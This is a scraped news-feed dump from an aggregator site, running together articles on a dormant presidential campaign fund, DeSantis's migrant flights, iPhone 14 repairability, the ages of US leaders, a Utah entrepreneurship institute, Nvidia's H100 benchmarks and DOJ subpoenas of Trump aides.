A historically robust public financing system for federal elections is part of the For the People Act.

But Senate Republicans filibustered the For the People Act, effectively killing it. Democrats then floated a similar, but slimmed-down bill called the "Freedom to Vote Act," which does not include strong public financing language.

Supporters of publicly funded campaigns say this is no time to give up — or to give away more than $ 424 million that's already earmarked and available for the public financing of elections.

The For the People Act "represents the boldest democracy reform since Watergate, and any funds currently available for the old system should be used for the new system of federal citizen-funded elections, which must pass so we can get big money out of politics," Beth Rotman, the director of money in politics and ethics for Common Cause, said prior to the bill's stall-out.

"Getting rid of the money at this point would send the wrong signal," said Meredith McGehee, the former executive director of the nonprofit group Issue One, a self-described "crosspartisan movement for political reform."

The pro-Democrat organization End Citizens United, which takes its name from the Supreme Court's 2010 decision that unleashed gushers of new political money into elections, also backed keeping the cash in place.

"The existing presidential system was designed following Watergate for anti-corruption purposes," the group's spokesperson Bawadden Sayed said, "and we would be supportive of potentially using it for future anti-corruption purposes."

Barack Obama
Former President Barack Obama campaigns for Joe Biden in Atlanta on November 2, 2020.

Elijah Nouvelage/AFP via Getty Images

Thanks, Obama?

Public presidential-campaign funding wasn't always so derelict.

From the late 1970s to the late 1990s, the Presidential Election Campaign Fund enjoyed a heyday, distributing eight or nine figures of public money to candidates each election cycle.

Supporters lauded the program as an elixir to big-money politics and a defense against corruption. Candidates from both parties routinely opted to use it. Doing so allowed them to spend less time fundraising and more time campaigning.

And since both sides participated, neither side engaged in the kind of political money arms races emblematic of contemporary presidential elections.

But the détente wouldn't last. 

Citing financial advantages, George W. Bush rejected public matching funds during the 2000 Republican presidential primary. Both Bush and eventual Democratic nominee John Kerry declined public funding in their 2004 presidential primaries. 

Come 2008, Democrat Barack Obama rendered the Presidential Election Campaign Fund functionally obsolete by becoming the first major-party presidential candidate in post-Watergate politics to reject public funding during a general presidential election. 

Obama even broke a campaign promise to do so — he previously said he'd use public funding. The future president knew he could privately raise and spend hundreds of millions of dollars more than the public program would afford him. Republican presidential nominee John McCain accepted public money — and lost.

No Democratic or Republican presidential nominee has since used public funding. Only a smattering of minor-party and longshot Democratic-primary candidates have patronized the Presidential Election Campaign Fund, who drew about $ 3 million combined since the 2012 race.

The fund didn't distribute a single dollar to any presidential candidate during the 2020 presidential election.

It last provided funding to presidential nominating conventions in 2012, as Congress two years later passed, and Obama signed, a law that axed public funding of conventions.

Congress siphoned tens of millions of dollars from the presidential fund that otherwise would have gone to party conventions to a pediatric-research fund — the same one that Cole, the Oklahoma congressman, wants to fill with the account's full balance.

Until that or any other repurposing decision comes down, the FEC continues to spend taxpayer resources keeping the Presidential Election Campaign Fund alive.

The agency's audit division has administrative, oversight, and enforcement responsibilities over the program, Judith Ingram, an FEC spokesperson, said. The independent, bipartisan FEC, which regulates and enforces the nation's campaign-finance laws, employs about 300 people. 

Its projected 2022 budget is about $ 76.5 million, meaning the balance of the Presidential Election Campaign Fund could theoretically fund the agency for a full five years.

This article was originally published on July 13, 2021, and has since been updated to include new financial data and legislative developments.

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]]> https://briefnews.eu/how-more-than-424-million-in-taxpayer-money-is-locked-away-in-a-forgotten-government-fund-and-lawmakers-wont-spend-it-or-return-it/feed/ 0 DeSantis’ office says migrants are better off in Massachusetts than they would have been in Texas https://briefnews.eu/desantis-office-says-migrants-are-better-off-in-massachusetts-than-they-would-have-been-in-texas/ https://briefnews.eu/desantis-office-says-migrants-are-better-off-in-massachusetts-than-they-would-have-been-in-texas/#respond Tue, 20 Sep 2022 14:35:28 +0000 https://briefnews.eu/desantis-office-says-migrants-are-better-off-in-massachusetts-than-they-would-have-been-in-texas/ Republican Gov. Ron DeSantis is up for reelection in Florida in 2022 and is considered to be a top-tier GOP candidate for the presidency in 2024.
Republican Gov. Ron DeSantis.

John Raoux/AP Images

  • Florida Gov. Ron DeSantis' office said migrants he had flown to Martha's Vineyard are better off.
  • The remarks by a DeSantis spokesperson came after a county sheriff in Texas announced he had opened a criminal investigation into the matter. 
  • Last week, 50 migrants were flown to Martha's Vineyard in a move orchestrated by DeSantis.

Florida Gov. Ron DeSantis' office said that the dozens of migrants that he had flown to the Massachusetts island of Martha's Vineyard are better off than they would have been in Texas after a Texas county sheriff announced that he had launched a criminal investigation into the matter.

Last week, about 50 migrants were taken on two chartered planes from Texas to Martha's Vineyard in a controversial move orchestrated by DeSantis. 

The Republican governor's spokesperson Taryn Fenske said in a statement shared with Insider that immigrants were "more than willing" to leave Bexar County, Texas, "after being abandoned, homeless, and 'left to fend for themselves.'"

"Florida gave them an opportunity to seek greener pastures in a sanctuary jurisdiction that offered greater resources for them, as we expected," Fenske said. 

Fenske added that unless the Massachusetts National Guard "has abandoned these individuals, they have been provided accommodations, sustenance, clothing and more options to succeed following their unfair enticement into the United States, unlike the 53 immigrants who died in a truck found abandoned in Bexar County this June."

The remarks came in response to the Bexar County Sheriff's Office opening an investigation into the transport of migrants to Martha's Vineyard. 

Bexar County Sheriff Javier Salazar, a Democrat, said that the migrants were "lured" with "promises of a better life."

The Bexar County Sheriff's Office said that the migrants "were ultimately left to fend for themselves in Martha's Vineyard."

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]]> https://briefnews.eu/desantis-office-says-migrants-are-better-off-in-massachusetts-than-they-would-have-been-in-texas/feed/ 0 Apple made the iPhone 14 easier to repair than you expect https://briefnews.eu/apple-made-the-iphone-14-easier-to-repair-than-you-expect/ https://briefnews.eu/apple-made-the-iphone-14-easier-to-repair-than-you-expect/#respond Mon, 19 Sep 2022 17:34:27 +0000 https://briefnews.eu/apple-made-the-iphone-14-easier-to-repair-than-you-expect/ Apple acknowledged that the iPhone 14 was designed to be easier to repair, but it might have undersold that upgrade. iFixit has finished a teardown of this year's base iPhone, and it's clear that the device was reworked from the ground up with do-it-yourself fixes in mind. The back glass is easier and cheaper to fix, as promised, but used a metal midframe to keep the front just as accessible. The design is more repairable than the many Android phones that are only simple to open from the back, iFixit said.

The iPhone 14's midframe maintains the same structural rigidity you saw in the 13 family. Apple had already moved the earpiece and front camera array to a more repairable location on the previous generation's mainframe.

The iPhone 14 isn't going to make Fairphone buyers regret their purchases. Apple still requires that customers and technicians activate parts after they're installed, so you can't just use an unofficial back instead of potentially pricier Self Service Repair components. Even so, iFixit claims this is the most repairable Apple handset since 2016's iPhone 7.

The rework isn't completely surprising. Apple is facing pressure to improve repairability from both the federal government and state legislatures. If it didn't address at-home repairs with its designs, it risked battles with regulators that could force changes and dish out penalties. Whatever the reasoning, you probably won't mind if you've been waiting for an iPhone that's truly fix-friendly.

]]> https://briefnews.eu/apple-made-the-iphone-14-easier-to-repair-than-you-expect/feed/ 0 Our government has never been older than it is today. Here are the costs, benefits, and dangers of a US led by old people. https://briefnews.eu/our-government-has-never-been-older-than-it-is-today-here-are-the-costs-benefits-and-dangers-of-a-us-led-by-old-people/ https://briefnews.eu/our-government-has-never-been-older-than-it-is-today-here-are-the-costs-benefits-and-dangers-of-a-us-led-by-old-people/#respond Sun, 18 Sep 2022 12:29:33 +0000 https://briefnews.eu/our-government-has-never-been-older-than-it-is-today-here-are-the-costs-benefits-and-dangers-of-a-us-led-by-old-people/ Hi, I'm Matt Turner, the editor in chief of business at Insider. Welcome back to Insider Weekly, a roundup of some of our top stories. 

On the agenda today:

But first: The US is now a gerontocracy. (If that term is new to you, it's "a state, society, or group governed by old people.") A new four-month investigation from our politics team looks at the disastrous effect it's having on American democracy. Deputy editor Dave Levinthal explains below.

If this was forwarded to you, sign up here.  Download Insider's app here.

Inside the US gerontocracy

Mitch McConnell, Nancy Pelosi, Donald Trump, and Joe Biden

Getty; Rebecca Zisser/Insider

Our elected officials are pretty old. That's hardly news, deputy editor Dave Levinthal writes.

But our government has never been older than it is today. And the gap between US leaders and those being led is historically wide — at a time when voters will soon hit the polls for another election.

Insider's new "Red, White, and Gray" project explores the costs, benefits, and dangers of life in a democracy helmed by those of advanced age, where issues of profound importance to the nation's youth and future — technology, civil rights, energy, the environment — are largely in the hands of those whose primes have passed. Here's what we found:

  • Nearly one in four members of Congress are in their 70s or 80s, with key leaders born before or during World War II. 
  • Almost 50% of Americans are under the age of 40, but only about 5% of members of Congress are.
  • The brain of an 80-year-old is almost certainly different than that of a 45-year-old, neuroscience tells us.

Plus, federal lawmakers such as Alexandria Ocasio-Cortez, Lauren Boebert, and Jon Ossoff dished on why youth is an advantage in Washington, DC — and congressional staffers described the lengths to which they've gone to keep aged lawmakers focused, engaged, and sometimes upright. 

You can read more of our key findings here.

The rise of the 'bait-and-switch' job interview

A man with three different color masks floating in front of him with a primarily blue background

Tyler Le/Insider

Are you sure that new employee is the same person you interviewed? 

According to recruiters, employers, and job applicants interviewed by Insider, an increasing number of candidates are employing stand-ins to do their job interviews for them. Then, on the first day of work, the real candidate shows up in place of the stand-in — and may have no idea what they're doing.

How some applicants are cheating the system.

Also read:

Top VCs pick the most promising startups

Four VC's in the foreground with a blue and green background behind various sized dollar signs

Damir Becirovic/Index Ventures, Meera Clark/Redpoint Ventures, Morad Elhafed/Battery Venture, Amy Saper/ Accel, Tyler Le/Insiders

Want to know what VCs are keeping an eye on this year? Insider has you covered. Our tech team spoke with top venture capitalists to compile exhaustive lists of the most promising startups spanning education, retail, health, crypto, and more. Take a look:

Some wedding vendors are turning on The Knot

Crumbling wedding cake with bride and groom toppers falling on pink background 4x3

Shutterstock; Rachel Mendelson/Insider

The Knot promises to walk couples through "every part of planning," while getting businesses "in front of 13 million couples," its site says. But The Knot is in the business of selling ads, not producing results, and some companies are questioning the value of listing on the site.

Several business owners told Insider they weren't getting a return on their investments and were ready to take their ad dollars elsewhere — a shift that could dethrone a behemoth of the $ 3 billion nuptials industry.

Why The Knot is losing its dominance.

Remote work is killing Florida as a retirement paradise

Florida retirement

Rebecca Zisser/Insider

With warm temperatures and low living costs, Florida has been a haven for retirees for decades. But between April 2020 and April 2021, more than 300,000 people moved to the state, making it the top destination for people relocating states during the first year of the pandemic.

Now, rising home prices — driven in part by the influx of remote workers — are threatening America's retirement dream, and retirees are feeling the squeeze. 

What's happening in Florida.

This week's quote:

"After more than two months of browbeating, exhaustion, and a tireless sojourn to make my bosses happy while bingeing way too much caffeine, I was ready to walk away and give it all up."

More of this week's top reads:

Plus: Stay updated on the latest business news throughout your weekdays by checking out The Refresh from Insider, a dynamic audio news brief from the Insider newsroom. Listen here tomorrow.

Curated by Matt Turner. Edited by Jordan Parker Erb and Lisa Ryan. Sign up for more Insider newsletters here.

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]]> https://briefnews.eu/our-government-has-never-been-older-than-it-is-today-here-are-the-costs-benefits-and-dangers-of-a-us-led-by-old-people/feed/ 0 ‘Chilly’ sign you could have shingles and other symptoms – more than just a rash https://briefnews.eu/chilly-sign-you-could-have-shingles-and-other-symptoms-more-than-just-a-rash/ https://briefnews.eu/chilly-sign-you-could-have-shingles-and-other-symptoms-more-than-just-a-rash/#respond Tue, 13 Sep 2022 00:16:56 +0000 https://briefnews.eu/chilly-sign-you-could-have-shingles-and-other-symptoms-more-than-just-a-rash/

People suffering with shingles could experience a change in their body temperature.

]]> https://briefnews.eu/chilly-sign-you-could-have-shingles-and-other-symptoms-more-than-just-a-rash/feed/ 0 How an institute at the University of Utah has helped entrepreneurs build their startups and raise more than $700 million in funding https://briefnews.eu/how-an-institute-at-the-university-of-utah-has-helped-entrepreneurs-build-their-startups-and-raise-more-than-700-million-in-funding/ https://briefnews.eu/how-an-institute-at-the-university-of-utah-has-helped-entrepreneurs-build-their-startups-and-raise-more-than-700-million-in-funding/#respond Mon, 12 Sep 2022 19:40:58 +0000 https://briefnews.eu/how-an-institute-at-the-university-of-utah-has-helped-entrepreneurs-build-their-startups-and-raise-more-than-700-million-in-funding/

Advancing Cities banner 2

Kazi Awal/Insider

a building in Utah
Lassonde Entrepreneur Institute.

Courtesy of Lassonde Entrepreneur Institute

  • University of Utah's Lassonde Entrepreneur Institute helps students launch startups and raise money.
  • Undergraduate students, graduate students, and alumni have access to mentorship and other resources.
  • The university also plans to offer an online master of business creation degree to expand its reach.
  • This article is part of a series focused on American cities building a better tomorrow called "Advancing Cities."

Over the past 20 years, Troy D'Ambrosio, executive director of the University of Utah's Lassonde Entrepreneur Institute, has helped Salt Lake City's entrepreneur community flourish. He leads programs for students at the university that fosters a culture of innovation and supports the next generation of startup founders.

headshot of Troy D’Ambrosio
Troy D’Ambrosio.

Courtesy of Lassonde Entrepreneur Institute

The institute he works for, which was founded in 2001, is part of the university's David Eccles School of Business. It offers programs for high school students, undergraduates, and graduate students, and also just launched a new program for alumni. US News and World Report ranks it as one of the top 10 entrepreneurship schools in the nation.

a group of students at the University of Utah
Students celebrating the 20th anniversary.

Courtesy of Lassonde Entrepreneur Institute

"We've seen how much interest there is from entrepreneurs and where we thought we could fill in the gaps" to be a resource for them, D'Ambrosio, who's also an assistant dean at the business school, told Insider.

Salt Lake City's entrepreneur community is "amazing, robust, creative, and continues to grow," he said. "It's becoming part of our DNA. Entrepreneurship is what people want to do in the future. They're really interested in entrepreneurship, technology, and innovation."

As a Salt Lake City native and University of Utah alum, D'Ambrosio said he's seeing entrepreneurship and innovation being used to solve problems around climate change, health care, and transportation. So far Lassonde has helped students launch more than 2,700 startups and raise more than $ 700 million in funding, including venture capital. These include the medical device LERC Medical, an addiction-recovery mobile app called Relay, and Kroy Railway Group, a company helping mitigate railroad safety issues.

Here's a look at how Lassonde is supporting innovation and entrepreneurship in students.

Giving University of Utah alumni the tools to start businesses 

This month, the institute launched Lassonde for Life, a new program open to University of Utah alumni who completed any degree in any major and now want to start or grow their business. The program is free and offered online so alumni can participate from anywhere.

"We have a number of alumni who have been really successful who are always coming back saying, 'You made an impact on my life while I was there. How can I give back now?'" D'Ambrosio said. Alumni also often get in touch to ask about resources for starting a business.

The program pairs these two groups. It will feature a series of workshops during the 2022-23 academic year that are hosted by successful alumni on topics like launching an e-commerce business, prototyping new products, conducting market research, and navigating legal issues for startups. 

D'Ambrosio said the first program will help the institute learn more about which programs to offer, how often, and the best format to deliver the content going forward. 

Expanding an online master's program to reach more entrepreneurs 

In January 2023, the business school will expand its master of business creation (MBC) degree online, which will enable anyone from around the world to enroll. It'll focus on "the founder's startup, applied curriculum, personalized mentorship, substantial scholarships, peer support and discussion, access to $ 5 million in startup funding, and more," according to an announcement about the program.

The online MBC is part-time with a flexible schedule that's completed in 14 months instead of the nine-month full-time program, which is in-person only. It will feature video content and live virtual group meetings. Every student is assigned a coach, who they'll meet with regularly one-on-one.

"We created the online program because we had so many people apply for the in-resident program who either couldn't physically be in Utah or Salt Lake or because of economic circumstances, they're still working a day job, they have children they're taking care of, or they couldn't participate in as intense of a program as in-resident," D'Ambrosio said.

Students in the online program will have 60% of their costs covered by scholarships and will pay around $ 15,000 out of pocket. Next, D'Ambrosio said they plan to launch region-specific online MBC programs in Africa and Europe.

Offering programs to the next generation of startup founders 

The institute provides many other initiatives, programs, and resources to support the next generation of entrepreneurs. Its Lassonde Studios is a 400-person residential community and innovation facility on campus for University of Utah students to create and launch ideas. It features a 20,000-square-foot innovation space with 3D printers, laser cutters, and office space.

a room on a college campus
The innovation space.

Courtesy of Lassonde Entrepreneur Institute

"It's become this gathering place, a community where entrepreneurs go," D'Ambrosio said. "It's a unique place where people can find each other on campus and work together." 

Students also help commercialize ideas created by other university departments by translating them into real products. D'Ambrosio said they've helped around 70 technologies developed at the university raise startup capital and enter the market, including Peel Therapeutics, a biotech company developing cancer and inflammatory disease medications that recently kicked off its clinical trials.

"We're using that intellectual property on campus as a tool to teach technology commercialization, entrepreneurship, and capital raising," D'Ambrosio said.

The institute also runs the High School Utah Entrepreneur Challenge (HSUEC), which is open to all Utah high school students, who can win prize money and scholarships based on their ideas. Another program, the Lassonde Founders Program, is a cohort of incoming freshmen at the university who have started companies. The students receive housing at Lassonde Studios, a scholarship, and access to resources and a community to develop their businesses.

"The really interesting thing for us is these young people teach us about the new trends and new technologies and stuff out there," D'Ambrosio said. "They're educating us as much as we're educating them."

Working with students and creating a place where they can develop their ideas and get them out into the world is what D'Ambrosio loves about his role.

"When a student walks into your office and says, 'I have this idea,' and I get to say, 'I can help you,' it's the coolest job ever," he said.

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]]> https://briefnews.eu/how-an-institute-at-the-university-of-utah-has-helped-entrepreneurs-build-their-startups-and-raise-more-than-700-million-in-funding/feed/ 0 Nvidia’s flagship AI chip reportedly 4.5x faster than the previous champ https://briefnews.eu/nvidias-flagship-ai-chip-reportedly-4-5x-faster-than-the-previous-champ/ https://briefnews.eu/nvidias-flagship-ai-chip-reportedly-4-5x-faster-than-the-previous-champ/#respond Sat, 10 Sep 2022 04:30:34 +0000 https://briefnews.eu/nvidias-flagship-ai-chip-reportedly-4-5x-faster-than-the-previous-champ/
The Nvidia H100 Tensor Core GPU

Enlarge / A press photo of the Nvidia H100 Tensor Core GPU. (credit: Nvidia)

Nvidia announced yesterday that its upcoming H100 “Hopper” Tensor Core GPU set new performance records during its debut in the industry-standard MLPerf benchmarks, delivering results up to 4.5 times faster than the A100, which is currently Nvidia’s fastest production AI chip.

The MPerf benchmarks (technically called “MLPerfTM Inference 2.1“) measure “inference” workloads, which demonstrate how well a chip can apply a previously trained machine learning model to new data. A group of industry firms known as the MLCommons developed the MLPerf benchmarks in 2018 to deliver a standardized metric for conveying machine learning performance to potential customers.

Nvidia's H100 benchmark results verses the A100, in fancy bar graph form.

Nvidia’s H100 benchmark results verses the A100, in fancy bar graph form. (credit: Nvidia)

In particular, the H100 did well in the BERT-Large benchmark, which measures natural language-processing performance using the BERT model developed by Google. Nvidia credits this particular result to the Hopper architecture’s Transformer Engine, which specifically accelerates training transformer models. This means that the H100 could accelerate future natural language models similar to OpenAI’s GPT-3, which can compose written works in many different styles and hold conversational chats.

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]]> https://briefnews.eu/nvidias-flagship-ai-chip-reportedly-4-5x-faster-than-the-previous-champ/feed/ 0 Stephen Miller and Brian Jack, top Trump aides, were among more than a dozen people subpoenaed for DOJ’s expansive Jan. 6 investigation: NYT report https://briefnews.eu/stephen-miller-and-brian-jack-top-trump-aides-were-among-more-than-a-dozen-people-subpoenaed-for-dojs-expansive-jan-6-investigation-nyt-report/ https://briefnews.eu/stephen-miller-and-brian-jack-top-trump-aides-were-among-more-than-a-dozen-people-subpoenaed-for-dojs-expansive-jan-6-investigation-nyt-report/#respond Sat, 10 Sep 2022 04:03:13 +0000 https://briefnews.eu/stephen-miller-and-brian-jack-top-trump-aides-were-among-more-than-a-dozen-people-subpoenaed-for-dojs-expansive-jan-6-investigation-nyt-report/ Stephen Miller and Brian Jack.
Stephen Miller, right, and Brian Jack, left, are among more than a dozen people who were subpoenaed this week by a federal grand jury.

Andrew Harnik and Alex Brandon/AP

  • The DOJ currently has a broad investigation into the events around January 6, 2021.
  • Among the DOJ's interests are Donald Trump's PAC and the plot to overturn the 2020 vote.
  • Stephen Miller and Brian Jack, Trump advisors, were among more than a dozen subpoenaed this week, per NYT.

Two top former Trump advisors were subpoenaed this week as part of the Justice Department's expansive investigation into the events around the January 6 Capitol Riot and beyond, according to The New York Times.

Stephen Miller, a senior policy advisor during the Trump White House, and Brian Jack, Trump's political director, were among more than a dozen people in the former president's circle who were subpoenaed by a federal grand jury this week, The Times reported.

Miller and Jack did not immediately respond to a request for comment.

The subpoenas appear to seek information on Trump's main fundraising operation, Save America, which was formed after the 2020 election, and the alleged plot to overturn the 2020 vote by sending a slate of fake electors to contested states, per The Times.

On Thursday, The Times also reported that the DOJ is looking into the PAC based on about a half a dozen subpoenas to lower-level former Trump aides, including Nicholas Luna and Ivanka Trump's chief of staff, Julie Radford. It remains unclear why exactly the PAC is being investigated and how it might relate to the Capitol riot

The subpoenas for Miller and Jack are also related to the Trump PAC as well as the 2020 electors scheme, per The Times.

On top of the ongoing probe of Trump's handling of official government records, the DOJ is investigating the Capitol breach, any obstruction of that investigation, and the fake electors plot.

Miller was subpoenaed by the House select committee investigating January 6 for his phone records earlier this year. The advisor filed a suit to block the subpoena, CNN reported. He previously sat for a deposition with the panel.

Jack, who still advises Trump, was also subpoenaed by the committee last year.

So far, at least 40 members of Trump's circle are publicly known to have cooperated with federal and congressional investigators.

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